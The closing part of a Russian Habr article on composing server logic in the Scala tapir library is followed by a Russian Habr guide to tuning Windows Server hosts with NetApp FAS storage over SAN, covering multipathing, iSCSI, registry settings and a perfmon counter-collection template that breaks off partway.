Мы можем предоставить только больше логических частей, производящих либо ошибку, либо промежуточное значение, либо дополнить логику функцией, которая (как в случае Ральфа) принимает кортеж, содержащий частичные, промежуточные результаты и неиспользованный ввод.
Таким образом, логика аутентификации по-прежнему централизована и может использоваться повторно, и ее можно легко составить с помощью функций, которые требуют для работы аутентифицированного **User**:
```
object Server {
import Endpoints._
import scala.concurrent.Future
import scala.concurrent.ExecutionContext.Implicits.global
// should fail with Error if user not found
def authorize(authToken: AuthToken): Future[Either[Error, User]] = ???
def findPetForUser(user: User, id: UUID): Future[Either[Error, Option[Pet]]] = ???
def addPetToUser(user: User, pet: Pet): Future[Either[Error, Unit]] = ???
val getPetWithLogic = getPet.serverLogicPart(authorize).andThen {
case (user, id) =>
findPetForUser(user, id).map {
case Right(Some(pet)) => Right(pet)
case Right(None) => Left(Error("Not found", StatusCode.NotFound))
case Left(error) => Left(error)
}
}
val addPetWithLogic = addPet.serverLogicPart(authorize)
.andThen((addPetToUser _).tupled)
// the endpoints are now interpreted as an akka.http.scaladsl.Route
import akka.http.scaladsl.server.Route
import sttp.tapir.server.akkahttp._
val routes: Route = List(getPetWithLogic, addPetWithLogic).toRoute
// раскрываем маршруты, используя akka-http
}
```
Как в случаях Теи и Ральфа, окончательное значение имеет тип **ServerEndpoint**. Как видите, Джесси использует **Future** для представления сайдэффектов и серверного интерпретатора akka-http.
Резюме
------
Для предоставлении серверной логики конечной точке у нас есть три подхода:
* При описании законченной **конечной точки предоставить всю логику сервера** сразу.
* При описании **частичной конечной точки** обеспечить **частичную логику сервера** для **всех входов**, определенных до сих пор. Результирующая частичная конечная точка затем может быть дополнительно расширена с помощью входов/выходов (но не выходов с ошибками), с возможностью последующего предоставления функций частей логики.
* При описании **законченной конечной точки** обеспечивать **частичную серверную логику**, каждый раз занимая **часть ввода**. Результирующая конечная точка не может быть дополнительно расширена, могут быть предоставлены только последующие частичные логические функции.
Можно сказать, что это на два способа предоставления серверной логики больше, чем нужно. Однако у библиотек есть свои законы. Это всегда вопрос предоставления пользователям гибкости там, где это действительно полезно, при одновременном ограничении других частей во избежание ненужного выбора.
В данном случае хорошо иметь выбор. Варианты использования, которые мы хотели бы охватить, просто все разные, и не существует универсального решения.
Будьте как Теа, Ральф или Джесси, и используйте tapir, чтобы раскрыть свои конечные точки HTTP!
---
***Узнать подробнее о курсе [«Scala-разработчик»](https://otus.pw/HvAS/)***
--- | https://habr.com/ru/post/510846/ | null | ru | null |
# Windows 2008/2012 c NetApp ONTAP 8 (SAN)
В этой статье я хотел бы рассмотреть тему оптимизации Windows Server (с виртуализацией и без) с использованием СХД NetApp FAS в среде SAN.
Для поиска и устранения узких мест в такой инфраструктуре, нужно опредилиться с компонентами инфраструктуры, среди которых их стоит искать. Разделим инфраструктуру на следующие компоненты:
* Настройки хоста c SAN (FC/FCoE)
* Настройки Ethernet сети на хосте для IP SAN ( iSCSI ).
* Собственно сам хост с ОС
* Приложения на Хосте
* Проверка совместимости драйверов и версий ПО
Для поиска узкого места обычно выполняют методику последовательного исключения. Предлагаю перво-наперво начать с СХД. А дальше двигаться [СХД](http://habrahabr.ru/post/243045/) -> Сеть ([Ethernet](http://habrahabr.ru/post/243119/) / FC) -> **Хост** ( **Windows** / [Linux](http://habrahabr.ru/post/245357/) / [VMware ESXi 5.Х](http://habrahabr.ru/post/247833/) и [ESXi 6.X](https://habrahabr.ru/post/314778/) ) -> Приложение. Сейчас остановимся на Хосте.
#### [SAN Multipathing](#SAN_Multipathing)
В случае подключения LUN на прямую к ОС без виртуализации желательно установить *NetApp Host Utility* и DFM MPIO. DFM MPIO добавляет алгоритмы балансировки нагрузки для FC/FCoE и iSCSI В случае же использования виртуализации с RDM или VMFS, необходимо настроить Multipathing на гипервизоре.
Multipathing должен по-умолчанию использовать предпочтительные пути — пути к LUN через порты контроллера на котором он расположен. Сообщения в консоли СХД [FCP Partner Path Misconfigured](http://blog.aboutnetapp.ru/archives/971) будут говорить о [неправильно настроенном](http://blog.aboutnetapp.ru/archives/631) ALUA или MPIO. Это важный параметр, не стоит его игнорировать, так как был один реальный случай, когда взбесившийся драйвер мультипасинга безостановочно переключался между путями создавая таким образом большие очереди в системе ввода-вывода хоста. Подробнее в документе [Windows Multipathing options: FCP and iSCSI](http://www.netapp.com/us/system/pdf-reader.aspx?pdfuri=tcm:10-60738-16&m=tr-3441.pdf).
Подробнее о рекомендациях [зонирования для NetApp в картинках](http://habrahabr.ru/post/260107/).
#### [Ethernet](#Ethernet)
##### [Jumbo frames](#Jumbo_frames)
В случае использования iSCSI крайне рекомендуется использовать Jumbo Frames в Ethernet со скоростью выше или равно 1Gb. Подробнее в статье про [Ethernet с NetApp FAS](http://habrahabr.ru/post/243119/#jumboframe).
##### [ESXi & MTU9000](#ESXi_and_MTU9000)
Не забудьте создать правильный сетевой адаптер — VMware рекомендует использовать VMXNEЕ3. Начиная с версии ESXi 5.0 VMXNET3 поддерживает Jumbo Frames. Сетевой адаптер E1000e поддерживает скорость 1GB сетей и MTU 9000 — он устанавливается для всех создаваемых VM по умолчанию (кроме Linux). Стандартный виртуальный сетевой адаптер типа «Flexible» поддерживает MTU 1500. [Подробнее.](http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1001805)
Подробнее про [оптимизацию VMware с NetApp FAS](http://habrahabr.ru/post/246871/#ESXi_and_MTU9000).
[iSCSI (IP SAN)](#iSCSI)
При использовании MS Windows есть возможность применять iSCSI MCS позволяющий использовать в рамках одной iSCSI сесии несколько TCP соединений. Комбинация MPIO с MCS может давать существенный прирост в производительности.
Throughput in MB/s с разным количеством сессий/TCP соединений для MCS/MPIO и 10GBE для Windows 2008 R2 и FAS 3070
| | | |
| --- | --- | --- |
| **Number of connections** | **SQLIO NTFS MCS** | **SQLIO NTFS MPIO** |
| 1 | 481 | 481 |
| 2 | 796 | 714 |
| 3 | 893 | 792 |
| 4 | **1012** | 890 |
| 5 | 944 | 852 |
| 6 | 906 | 902 |
| 7 | 945 | **961** |
| 8 | 903 | 911 |
[Thin Provitioning](#Thin_Provitioning)
В случае использования «файловых» протоколов NFS и CIFS очень просто получать преимущество от использования технологии Thin Provitioning, возвращая высвобожденное пространство внутрь файловой шары. А вот в случае с SAN использование ThinProvitioning приводит к необходимости постоянного контроля над свободным пространством плюс высвобождение свободного пространства ([механизм доступен для современных ОС](http://habrahabr.ru/post/224869/#functionality_adoption)) происходит не «внутрь» того же LUN, а как бы внутрь Volume содержащий этот LUN.
Space Reservation — UNMAP
Начиная с Windows 2012 поддерживается возврат высвобожденных блоков из тонкого луна. Это настроено по умолчанию на Windows и требует [включения на стороне ONTAP](https://habrahabr.ru/post/271959/) (по умолчанию отключено).
MS CSV Volume
При настройке кластера, а точнее на этапе проверки при создании CSV Volume, вы можете столкнуться со следующим предупреждением, гласящем об отсутствии поддержки SCSI-3 Persistent Reservations:
```
Successfully issued call to Persistent Reservation REGISTER using Invalid RESERVATION KEY 0x30000000c, SERVICE ACTION RESERVATION KEY 0x30000000d, for Test Disk 3 from node node.local.
Test Disk 3 does not support SCSI-3 Persistent Reservations commands needed by clustered storage pools that use the Storage Spaces subsystem. Some storage devices require specific firmware versions or settings to function properly with failover clusters. Contact your storage administrator or storage vendor for help with configuring the storage to function properly with failover clusters that use Storage Spaces.
```
Которое можно безбоязненно [игнорировать, о чём сказано на стр 135](http://www.cisco.com/c/dam/en/us/td/docs/unified_computing/ucs/UCS_CVDs/ucs_flexpod_mspc30_sc12_deploy.pdf).
[Таблица загрузки](#Boot_record_table)
Для Windows 2008 и старше (не важно таблица разделов GPT или MBR) нужно при создании LUN'а выбрать геометрию диска «Windows 2008».
[Для Windows 2003 c GPT](https://library.netapp.com/ecmdocs/ECMP1196995/html/GUID-7D4DD6E3-DB77-4671-BDA2-E393002E9EB2.html) нужно при создании LUN'а выбрать геометрию диска «Windows GPT».
[NetApp Host Utility with MPIO](#Host_Utility)
Не игнорируйте этот пункт. Набор утилит [устанавливает](https://library.netapp.com/ecmdocs/ECMP1204463/html/GUID-28A656C1-1D1B-4045-BFBC-CD4EC4633544.html) правильные задержки, размер очереди на HBA и другие настройки на хосте. Отображает подключённые LUN и их детальную информацию со стороны СХД. Набор утилит бесплатный и может быть скачан с сайта техподдержки нетапа. После установки запустите утилиту
```
host_config <-setup> <-protocol fcp|iscsi|mixed> <-multipath mpxio|dmp|non> [-noalua]
```
Она обычно устанавливается в папку
```
%systemdrive%\NetApp\Windows Host Utilities\
```
для Windows настройки добавятся автоматически при установке.
После чего, скорее всего, **понадобится перезапустить хост.**
[Windows time-out для ESXi](#windows_time_out_for_esxi)
[необходимо установить тайм-аут](https://kb.netapp.com/support/index?page=content&id=S:3013622&actp=LIST) (*Please see 5579*) жесткого диска (RDM LUN'а):
```
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Disk]
"TimeoutValue"=dword:0000003c
```
[Файловая система](#FS)
ФС может вносить существенные коррективы при тестировании производительности.
Размер блока ФС должен быть кратным 4КБ. К примеру, если мы запускаем синтетическую нагрузку подобную генерируемой OLTP, где размер оперируемого блока в среднем равен 8КБ, то ставим 8КБ.
[Отключение записи последнего доступа к файлу на Хосте](#NtfsDisableLastAccessUpdate)
На уровне файловой системы можно настроить [параметр NtfsDisableLastAccessUpdate](http://technet.microsoft.com/en-us/library/cc959914.aspx) для ФС NTFS из реестара Windows, который не даст обновлять время доступа к папкам, что часто очень положительно сказывается на производительности. Для этого необходимо установить параметр *NtfsDisableLastAccessUpdate* типа *REG\_DWORD* в значение равное ***1***.
*HKLM\SYSTEM\CurrentControlSet\Control\FileSystem*
[Сбор статистики на хосте](#Statistics)
[Windows Perfmon.exe](#perfmon) и [Logman.exe (для Windows Core Server)](#logman)
Нас больше всего может интересовать счётчики: «Рабочие очереди» и «Физический диск». В *сборщике производительности* укажем место где будет сохранён результат сбора статистики.
Шаблон снятия нагрузки на дисковую подсистему средствами MS Windows *Perfmon* (GUI) или при помощи *Logman* (CLI) в разрезе по логическим и физическим дискам. Если логического или физического диска в системе нет, то статистика как-бы будет сниматься, но её значение для этого диска всегда будет равна нулю.
Запуск сбора статистики через GUI интерфейс выполняется через утилиту *Perfmon* при помощи импортирования XML шаблона (смотри ниже).
[Сбор статистики из командной строки или для Windows Core Server](http://blogs.technet.com/b/perfguru/archive/2008/03/10/performance-monitoring-in-server-core-in-windows-server-2008.aspx) выполняем при помощи комманд:
```
logman import –n <Имя> -xml <Шаблон> -s <Компьютер>
logman start <Имя> -s <Компьютер>
logman stop <Имя> -s <Компьютер>
```
По-умолчанию вывод будет сохраняется по адрусу
```
%systemdrive%\PerfLogs\NetApp
```
**Шаблон NetAppPerformanceCollector.xml**Сбор выполняется по:
Логическим дискам от A до Z и сохраняется в файл NetAppLogicalDisk.blg
Физическим дискам от 0 до 23 и сохраняется в файл NetAppPhysicalDisk.blg
```
xml version="1.0" encoding="UTF-16"?
0
0
-1
C:\PerfLogs\NetApp
Группа сборщиков данных для NetApp
C:\PerfLogs\NetApp
%systemdrive%\PerfLogs\NetApp
0
0
0
3
3
yyyyMMdd\-NNNNNN
0
NetApp
O:BAG:DUD:AI(A;;FA;;;SY)(A;;FA;;;BA)(A;;FR;;;LU)(A;;0x1301ff;;;S-1-5-80-2661322625-712705077-2999183737-3043590567-590698655)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200ab;;;LU)(A;ID;FR;;;AU)(A;ID;FR;;;LS)(A;ID;FR;;;NS)
0
0
NetApp Collector: PhysicalDisk
NetAppPhysicalDisk
0
0
0
0
5
0
3
\PhysicalDisk(0 \*)\% Disk Write Time
\PhysicalDisk(0 \*)\% Disk Read Time
\PhysicalDisk(0 \*)\Disk Writes/sec
\PhysicalDisk(0 \*)\Disk Transfers/sec
\PhysicalDisk(0 \*)\Disk Reads/sec
\PhysicalDisk(0 \*)\% Idle Time
\PhysicalDisk(0 \*)\Split IO/Sec
\PhysicalDisk(0 \*)\Disk Write Bytes/sec
\PhysicalDisk(0 \*)\Disk Bytes/sec
\PhysicalDisk(0 \*)\Disk Read Bytes/sec
\PhysicalDisk(0 \*)\Avg. Disk sec/Write
\PhysicalDisk(0 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(0 \*)\Avg. Disk sec/Read
\PhysicalDisk(0 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(0 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(0 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(0 \*)\Avg. Disk Queue Length
\PhysicalDisk(0 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(0 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(0 \*)\Current Disk Queue Length
\PhysicalDisk(1 \*)\% Disk Write Time
\PhysicalDisk(1 \*)\% Disk Read Time
\PhysicalDisk(1 \*)\Disk Writes/sec
\PhysicalDisk(1 \*)\Disk Transfers/sec
\PhysicalDisk(1 \*)\Disk Reads/sec
\PhysicalDisk(1 \*)\% Idle Time
\PhysicalDisk(1 \*)\Split IO/Sec
\PhysicalDisk(1 \*)\Disk Write Bytes/sec
\PhysicalDisk(1 \*)\Disk Bytes/sec
\PhysicalDisk(1 \*)\Disk Read Bytes/sec
\PhysicalDisk(1 \*)\Avg. Disk sec/Write
\PhysicalDisk(1 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(1 \*)\Avg. Disk sec/Read
\PhysicalDisk(1 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(1 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(1 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(1 \*)\Avg. Disk Queue Length
\PhysicalDisk(1 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(1 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(1 \*)\Current Disk Queue Length
\PhysicalDisk(2 \*)\% Disk Write Time
\PhysicalDisk(2 \*)\% Disk Read Time
\PhysicalDisk(2 \*)\Disk Writes/sec
\PhysicalDisk(2 \*)\Disk Transfers/sec
\PhysicalDisk(2 \*)\Disk Reads/sec
\PhysicalDisk(2 \*)\% Idle Time
\PhysicalDisk(2 \*)\Split IO/Sec
\PhysicalDisk(2 \*)\Disk Write Bytes/sec
\PhysicalDisk(2 \*)\Disk Bytes/sec
\PhysicalDisk(2 \*)\Disk Read Bytes/sec
\PhysicalDisk(2 \*)\Avg. Disk sec/Write
\PhysicalDisk(2 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(2 \*)\Avg. Disk sec/Read
\PhysicalDisk(2 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(2 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(2 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(2 \*)\Avg. Disk Queue Length
\PhysicalDisk(2 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(2 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(2 \*)\Current Disk Queue Length
\PhysicalDisk(3 \*)\% Disk Write Time
\PhysicalDisk(3 \*)\% Disk Read Time
\PhysicalDisk(3 \*)\Disk Writes/sec
\PhysicalDisk(3 \*)\Disk Transfers/sec
\PhysicalDisk(3 \*)\Disk Reads/sec
\PhysicalDisk(3 \*)\% Idle Time
\PhysicalDisk(3 \*)\Split IO/Sec
\PhysicalDisk(3 \*)\Disk Write Bytes/sec
\PhysicalDisk(3 \*)\Disk Bytes/sec
\PhysicalDisk(3 \*)\Disk Read Bytes/sec
\PhysicalDisk(3 \*)\Avg. Disk sec/Write
\PhysicalDisk(3 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(3 \*)\Avg. Disk sec/Read
\PhysicalDisk(3 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(3 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(3 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(3 \*)\Avg. Disk Queue Length
\PhysicalDisk(3 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(3 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(3 \*)\Current Disk Queue Length
\PhysicalDisk(4 \*)\% Disk Write Time
\PhysicalDisk(4 \*)\% Disk Read Time
\PhysicalDisk(4 \*)\Disk Writes/sec
\PhysicalDisk(4 \*)\Disk Transfers/sec
\PhysicalDisk(4 \*)\Disk Reads/sec
\PhysicalDisk(4 \*)\% Idle Time
\PhysicalDisk(4 \*)\Split IO/Sec
\PhysicalDisk(4 \*)\Disk Write Bytes/sec
\PhysicalDisk(4 \*)\Disk Bytes/sec
\PhysicalDisk(4 \*)\Disk Read Bytes/sec
\PhysicalDisk(4 \*)\Avg. Disk sec/Write
\PhysicalDisk(4 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(4 \*)\Avg. Disk sec/Read
\PhysicalDisk(4 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(4 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(4 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(4 \*)\Avg. Disk Queue Length
\PhysicalDisk(4 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(4 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(4 \*)\Current Disk Queue Length
\PhysicalDisk(5 \*)\% Disk Write Time
\PhysicalDisk(5 \*)\% Disk Read Time
\PhysicalDisk(5 \*)\Disk Writes/sec
\PhysicalDisk(5 \*)\Disk Transfers/sec
\PhysicalDisk(5 \*)\Disk Reads/sec
\PhysicalDisk(5 \*)\% Idle Time
\PhysicalDisk(5 \*)\Split IO/Sec
\PhysicalDisk(5 \*)\Disk Write Bytes/sec
\PhysicalDisk(5 \*)\Disk Bytes/sec
\PhysicalDisk(5 \*)\Disk Read Bytes/sec
\PhysicalDisk(5 \*)\Avg. Disk sec/Write
\PhysicalDisk(5 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(5 \*)\Avg. Disk sec/Read
\PhysicalDisk(5 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(5 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(5 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(5 \*)\Avg. Disk Queue Length
\PhysicalDisk(5 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(5 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(5 \*)\Current Disk Queue Length
\PhysicalDisk(6 \*)\% Disk Write Time
\PhysicalDisk(6 \*)\% Disk Read Time
\PhysicalDisk(6 \*)\Disk Writes/sec
\PhysicalDisk(6 \*)\Disk Transfers/sec
\PhysicalDisk(6 \*)\Disk Reads/sec
\PhysicalDisk(6 \*)\% Idle Time
\PhysicalDisk(6 \*)\Split IO/Sec
\PhysicalDisk(6 \*)\Disk Write Bytes/sec
\PhysicalDisk(6 \*)\Disk Bytes/sec
\PhysicalDisk(6 \*)\Disk Read Bytes/sec
\PhysicalDisk(6 \*)\Avg. Disk sec/Write
\PhysicalDisk(6 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(6 \*)\Avg. Disk sec/Read
\PhysicalDisk(6 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(6 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(6 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(6 \*)\Avg. Disk Queue Length
\PhysicalDisk(6 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(6 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(6 \*)\Current Disk Queue Length
\PhysicalDisk(7 \*)\% Disk Write Time
\PhysicalDisk(7 \*)\% Disk Read Time
\PhysicalDisk(7 \*)\Disk Writes/sec
\PhysicalDisk(7 \*)\Disk Transfers/sec
\PhysicalDisk(7 \*)\Disk Reads/sec
\PhysicalDisk(7 \*)\% Idle Time
\PhysicalDisk(7 \*)\Split IO/Sec
\PhysicalDisk(7 \*)\Disk Write Bytes/sec
\PhysicalDisk(7 \*)\Disk Bytes/sec
\PhysicalDisk(7 \*)\Disk Read Bytes/sec
\PhysicalDisk(7 \*)\Avg. Disk sec/Write
\PhysicalDisk(7 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(7 \*)\Avg. Disk sec/Read
\PhysicalDisk(7 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(7 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(7 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(7 \*)\Avg. Disk Queue Length
\PhysicalDisk(7 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(7 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(7 \*)\Current Disk Queue Length
\PhysicalDisk(8 \*)\% Disk Write Time
\PhysicalDisk(8 \*)\% Disk Read Time
\PhysicalDisk(8 \*)\Disk Writes/sec
\PhysicalDisk(8 \*)\Disk Transfers/sec
\PhysicalDisk(8 \*)\Disk Reads/sec
\PhysicalDisk(8 \*)\% Idle Time
\PhysicalDisk(8 \*)\Split IO/Sec
\PhysicalDisk(8 \*)\Disk Write Bytes/sec
\PhysicalDisk(8 \*)\Disk Bytes/sec
\PhysicalDisk(8 \*)\Disk Read Bytes/sec
\PhysicalDisk(8 \*)\Avg. Disk sec/Write
\PhysicalDisk(8 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(8 \*)\Avg. Disk sec/Read
\PhysicalDisk(8 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(8 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(8 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(8 \*)\Avg. Disk Queue Length
\PhysicalDisk(8 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(8 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(8 \*)\Current Disk Queue Length
\PhysicalDisk(9 \*)\% Disk Write Time
\PhysicalDisk(9 \*)\% Disk Read Time
\PhysicalDisk(9 \*)\Disk Writes/sec
\PhysicalDisk(9 \*)\Disk Transfers/sec
\PhysicalDisk(9 \*)\Disk Reads/sec
\PhysicalDisk(9 \*)\% Idle Time
\PhysicalDisk(9 \*)\Split IO/Sec
\PhysicalDisk(9 \*)\Disk Write Bytes/sec
\PhysicalDisk(9 \*)\Disk Bytes/sec
\PhysicalDisk(9 \*)\Disk Read Bytes/sec
\PhysicalDisk(9 \*)\Avg. Disk sec/Write
\PhysicalDisk(9 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(9 \*)\Avg. Disk sec/Read
\PhysicalDisk(9 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(9 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(9 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(9 \*)\Avg. Disk Queue Length
\PhysicalDisk(9 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(9 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(9 \*)\Current Disk Queue Length
\PhysicalDisk(10 \*)\% Disk Write Time
\PhysicalDisk(10 \*)\% Disk Read Time
\PhysicalDisk(10 \*)\Disk Writes/sec
\PhysicalDisk(10 \*)\Disk Transfers/sec
\PhysicalDisk(10 \*)\Disk Reads/sec
\PhysicalDisk(10 \*)\% Idle Time
\PhysicalDisk(10 \*)\Split IO/Sec
\PhysicalDisk(10 \*)\Disk Write Bytes/sec
\PhysicalDisk(10 \*)\Disk Bytes/sec
\PhysicalDisk(10 \*)\Disk Read Bytes/sec
\PhysicalDisk(10 \*)\Avg. Disk sec/Write
\PhysicalDisk(10 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(10 \*)\Avg. Disk sec/Read
\PhysicalDisk(10 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(10 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(10 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(10 \*)\Avg. Disk Queue Length
\PhysicalDisk(10 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(10 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(10 \*)\Current Disk Queue Length
\PhysicalDisk(11 \*)\% Disk Write Time
\PhysicalDisk(11 \*)\% Disk Read Time
\PhysicalDisk(11 \*)\Disk Writes/sec
\PhysicalDisk(11 \*)\Disk Transfers/sec
\PhysicalDisk(11 \*)\Disk Reads/sec
\PhysicalDisk(11 \*)\% Idle Time
\PhysicalDisk(11 \*)\Split IO/Sec
\PhysicalDisk(11 \*)\Disk Write Bytes/sec
\PhysicalDisk(11 \*)\Disk Bytes/sec
\PhysicalDisk(11 \*)\Disk Read Bytes/sec
\PhysicalDisk(11 \*)\Avg. Disk sec/Write
\PhysicalDisk(11 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(11 \*)\Avg. Disk sec/Read
\PhysicalDisk(11 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(11 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(11 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(11 \*)\Avg. Disk Queue Length
\PhysicalDisk(11 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(11 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(11 \*)\Current Disk Queue Length
\PhysicalDisk(12 \*)\% Disk Write Time
\PhysicalDisk(12 \*)\% Disk Read Time
\PhysicalDisk(12 \*)\Disk Writes/sec
\PhysicalDisk(12 \*)\Disk Transfers/sec
\PhysicalDisk(12 \*)\Disk Reads/sec
\PhysicalDisk(12 \*)\% Idle Time
\PhysicalDisk(12 \*)\Split IO/Sec
\PhysicalDisk(12 \*)\Disk Write Bytes/sec
\PhysicalDisk(12 \*)\Disk Bytes/sec
\PhysicalDisk(12 \*)\Disk Read Bytes/sec
\PhysicalDisk(12 \*)\Avg. Disk sec/Write
\PhysicalDisk(12 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(12 \*)\Avg. Disk sec/Read
\PhysicalDisk(12 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(12 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(12 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(12 \*)\Avg. Disk Queue Length
\PhysicalDisk(12 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(12 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(12 \*)\Current Disk Queue Length
\PhysicalDisk(13 \*)\% Disk Write Time
\PhysicalDisk(13 \*)\% Disk Read Time
\PhysicalDisk(13 \*)\Disk Writes/sec
\PhysicalDisk(13 \*)\Disk Transfers/sec
\PhysicalDisk(13 \*)\Disk Reads/sec
\PhysicalDisk(13 \*)\% Idle Time
\PhysicalDisk(13 \*)\Split IO/Sec
\PhysicalDisk(13 \*)\Disk Write Bytes/sec
\PhysicalDisk(13 \*)\Disk Bytes/sec
\PhysicalDisk(13 \*)\Disk Read Bytes/sec
\PhysicalDisk(13 \*)\Avg. Disk sec/Write
\PhysicalDisk(13 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(13 \*)\Avg. Disk sec/Read
\PhysicalDisk(13 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(13 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(13 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(13 \*)\Avg. Disk Queue Length
\PhysicalDisk(13 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(13 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(13 \*)\Current Disk Queue Length
\PhysicalDisk(14 \*)\% Disk Write Time
\PhysicalDisk(14 \*)\% Disk Read Time
\PhysicalDisk(14 \*)\Disk Writes/sec
\PhysicalDisk(14 \*)\Disk Transfers/sec
\PhysicalDisk(14 \*)\Disk Reads/sec
\PhysicalDisk(14 \*)\% Idle Time
\PhysicalDisk(14 \*)\Split IO/Sec
\PhysicalDisk(14 \*)\Disk Write Bytes/sec
\PhysicalDisk(14 \*)\Disk Bytes/sec
\PhysicalDisk(14 \*)\Disk Read Bytes/sec
\PhysicalDisk(14 \*)\Avg. Disk sec/Write
\PhysicalDisk(14 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(14 \*)\Avg. Disk sec/Read
\PhysicalDisk(14 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(14 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(14 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(14 \*)\Avg. Disk Queue Length
\PhysicalDisk(14 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(14 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(14 \*)\Current Disk Queue Length
\PhysicalDisk(15 \*)\% Disk Write Time
\PhysicalDisk(15 \*)\% Disk Read Time
\PhysicalDisk(15 \*)\Disk Writes/sec
\PhysicalDisk(15 \*)\Disk Transfers/sec
\PhysicalDisk(15 \*)\Disk Reads/sec
\PhysicalDisk(15 \*)\% Idle Time
\PhysicalDisk(15 \*)\Split IO/Sec
\PhysicalDisk(15 \*)\Disk Write Bytes/sec
\PhysicalDisk(15 \*)\Disk Bytes/sec
\PhysicalDisk(15 \*)\Disk Read Bytes/sec
\PhysicalDisk(15 \*)\Avg. Disk sec/Write
\PhysicalDisk(15 \*)\Avg. Disk sec/Transfer
\PhysicalDisk(15 \*)\Avg. Disk sec/Read
\PhysicalDisk(15 \*)\Avg. Disk Bytes/Transfer
\PhysicalDisk(15 \*)\Avg. Disk Bytes/Read
\PhysicalDisk(15 \*)\Avg. Disk Bytes/Write
\PhysicalDisk(15 \*)\Avg. Disk Queue Length
\PhysicalDisk(15 \*)\Avg. Disk Write Queue Length
\PhysicalDisk(15 \*)\Avg. Disk Read Queue Length
\PhysicalDisk(15 \*)\Current Disk Queue Length
\PhysicalDisk(16 \*)\% Disk Write Time
\PhysicalDisk(16 \*)\% Disk Read Time
\PhysicalDisk(16 \*)\Disk Writes/sec
\PhysicalDisk(16 \*)\Disk Transfers/sec
